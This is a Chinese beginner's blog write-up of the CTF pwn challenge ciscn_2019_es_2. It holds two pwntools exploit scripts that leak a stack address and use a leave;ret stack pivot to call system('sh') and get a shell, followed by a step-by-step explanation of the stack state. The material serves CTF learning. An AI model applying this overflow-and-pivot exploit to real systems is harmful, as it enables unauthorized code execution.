ciscn_2019_es_2

小白垃圾做题笔记,不及建议阅读。

声明,exp来自网络,调试过程自己调试,对于题目的理解仅供参考。由于本人也是小白,且pwn全靠自己摸索,所以有很多理解不到位的地方。如有错误,欢迎指正。

1.做题

这道题嗯,做了好久。

绕过nx,好像叫栈迁移。

main函数如下:

vul函数存在溢出,但是溢出不是很多。

 

也就是说可以覆盖到ebp和返回地址,仅此而已。

有system函数,但是没有/bin/sh.

echo flag 并没有什么用。(起码我认为,因为我将返回地址覆盖为该函数时,他确实是echo  “flag”),但是此flag非彼falg。

 

想了好久,还是不会,去网上找答案。大佬说是栈迁移,反正我是没玩明白,仅仅是搞懂就费劲,别说遇到题目熟练做出来了。下边写下总结,和exp打进去后的运行过程吧。

exp:

from pwn import *
#p = remote("node3.buuoj.cn",27236)


p=gdb.debug("./ciscn_2019_es_2","break main")
#因为我想让断点下到main函数,停止到call vul指令处,所以使用了这种方法,也是在网上搜的。
context.log_level='debug'
#gdb.attach(p)
sys_addr = 0x8048400
leave_ret = 0x080484b8
payload = b'a' * 0x27 + b'p'
p.send(payload)
p.recvuntil(b'p')
ebp = u32(p.recv(4))
print(hex(ebp))
payload = (b'this'+p32(sys_addr)+b'aaaa'+p32(ebp-0x28)+b'/bin/sh\x00').ljust(0x28,b'p')+p32(ebp-0x38) + p32(leave_ret)
                                      #指向'/bin/sh' 								#指向this,也就是我们栈劫持的地方
p.send(payload)
p.interactive()

后来发现远程打不通:

换成这个:主要应该是/bin/sh=>sh  不知道为啥,实到11点。呜呜呜

 

from pwn import *





#p = remote('node4.buuoj.cn',28481)

p = process("./ciscn_2019_es_2")
#p=gdb.debug("./ciscn_2019_es_2","break main")
elf = ELF("./ciscn_2019_es_2")



#remote_target = "1node4.buuoj.cn:28244"  # 远程目标的 IP 地址和端口号
#remote_target = "17.21.200.166:28244" 

# 连接远程目标并设置断点
#p = gdb.debug(["./ciscn_2019_es_2"], gdbscript="break main", exe=remote_target)


#gdb.attach(p, '''
#    break vul
#    break *0x08048610
#    break *0x0804861D
#    break main
#''')
#pause()
#p.debug("DEBUG")
#p.breakpoint('main')
#gdb.attach(p, "b *0x08048610")
context.log_level='debug'
#gdb.attach(p)
sys_addr = 0x8048400
system_addr = elf.sym['system']
leave_ret = 0x080484b8
payload = b'a' * 0x27 + b'p'
p.recvuntil(b'name?\n')
p.send(payload)
p.recvuntil(b'p')
ebp = u32(p.recv(4))
print(hex(ebp))
#payload = (b'this'+p32(system_addr)+p32(system_addr)+p32(ebp-0x28)+b'/bin/sh\x00').ljust(0x28,b'p')+p32(ebp-0x38) + p32(leave_ret)
payload = (b'this'+p32(system_addr)+p32(system_addr)+p32(ebp-0x28)+b'sh\x00').ljust(0x28,b'p')+p32(ebp-0x38) + p32(leave_ret)
                                      #指向'/bin/sh' 								#指向this,也就是我们栈劫持的地方
p.send(payload)
p.interactive()

如果你只想把这道题做出来,到这里就结束了。

2.简单理解。下边是运行过程。

2.1栈的地址。

首先要明白,数据是存在地址里的,我们所说,数据存在栈上,其实栈也是有地址的。

而栈地址所指向的才是数据,当然,栈也可以指向一个地址,这个地址指向一个数据。

栈情况,箭头左边是栈地址。

 查看栈状态,那里的地址,就是栈地址。而esp和ebp指向的就是栈地址。包括push esp,

mov  esp,ebp  计算的也是栈的地址,因为这个时候esp中存储的就是栈地址。

 

理解了这一点,估计会好理解很多。

下边我们从函数调用,一点一点解析这个exp。

2.2调试

我将断点打到call  vul  ,s跟进

这个时候的栈大概长这个样子吧:

main函数中栈,断点至call  vul的栈情况call未执行

然后会执行

2.3call    vul

而call  vul  =>push  eip     ;jmp vul

这个时候ip其实已经指向call下一条指令的地址了,push后作为返回地址返回。

执行后栈大概是这样子的吧:

call 后,进入到vul中,vul第一条指令尚未执行。

到memset栈几乎就初始化结束了。而对应的汇编是:

也就是说调用函数栈的变化只有三行(后期可能还有变化,但是这里仅讨论前边的。):

push  ebp

mov  ebp,esp

sub  esp,28h

那么这三行执行后栈是什么样子呢?

 前:

call 后,进入到vul中,vul第一条指令尚未执行。

2.4push  ebp

vul函数中,push  ebp后栈情况,注意这里push的是ebp所指向的栈地址,也就是main函数的栈地址0x1e8

2.5mov  ebp,esp

mov ebp,esp后

2.6sub  esp,28h 

 

sub  esp,0x28后

2.7泄露地址

这个时候我们已经把0x27个a个一个p输入进去了(我这是在脚本里调试的)

也就是说现在栈上是这样:

这个时候ebp前边都是字符,我认为是没有回车,所以会一连带的把字符后的内容也输出,也就是0x1e8、0x862a还有0x1啥的。而我们把p后边的4个字符接收下来就好,这个是main函数的ebp地址,就是0x0那里,那个地址

gdb中看下这段有什么幺蛾子。发现好像确实是把字符后的内容打印出来了。也就是main的栈基地址。

所以我们泄露出来的内容实际是0xffe951d8地址内所存储的内容,是一个地址,是main函数的ebp的栈地址,就是0xffe951e8

 2.8第二次输入

然后我们通过这个地址,结合levne,对栈进行操作。

我们继续到我们第二次输入。这一次输入会覆盖上一次输入,不过已经不重要了,因为我们已经知道了main的ebp。也就是知道了一个栈地址。

这个时候栈上已经使我们精心构造好的数据。

第二次输入后栈情况:

这个图片截的好像有点问题,正确我认为应该是这样的:

这个时候是第二次输入栈的情况,ebp对应的是上边this的地址,这个好像是计算出来的。而system函数的地址在this后,syste函数后是aaaa,system的返回地址,可以随便填写,再往后是参数地址,也就是/bin/sh的地址,地址都是通过泄露出的main函数的ebp计算的。

nop指令什么也不会做。

leave  和ret

leave=>mov esp,ebp        pop ebp

ret   => pop eip    

这个时候我们

2.9第一次leave

leave前

重点************************

leave后

这个时候栈应该是这样的:

2.10第一次ret后且第二次leave执行后的栈情况

 

这个时候栈应该是这个样子的:

执行完第二次leave后的效果就是esp指向system,而后边是system的返回地址,再往后是参数地址

2.11执行system

太累了,第一次遇到这种题,好像叫栈迁移。

简单总结:leave的作用好像就是让esp去找ebp,然后pop ebp,而第一次leave的目的好像是将ebp的值改到上边,第二次leave让esp去找他。pop后esp正好指向system。

然后就是地址的计算,可谓精髓,真不知道大佬如何做到的。我看大佬文章是计算便宜啥的,但是感觉学会还得一段时间。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

y6y6y666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值